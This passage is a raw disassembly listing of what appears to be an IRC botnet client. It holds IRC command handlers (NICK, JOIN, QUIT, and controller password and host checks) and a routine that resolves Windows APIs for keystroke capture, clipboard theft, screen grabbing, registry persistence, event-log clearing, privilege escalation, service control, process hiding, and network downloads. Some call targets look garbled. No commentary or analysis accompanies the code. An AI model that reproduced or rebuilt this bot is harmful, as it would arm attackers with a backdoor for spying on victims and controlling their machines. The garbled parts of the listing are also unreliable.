		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 269040Ah


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	near ptr 269040Ah
		nop

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 2690C56h
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	near ptr 2690C56h
		nop
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 2690C56h
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
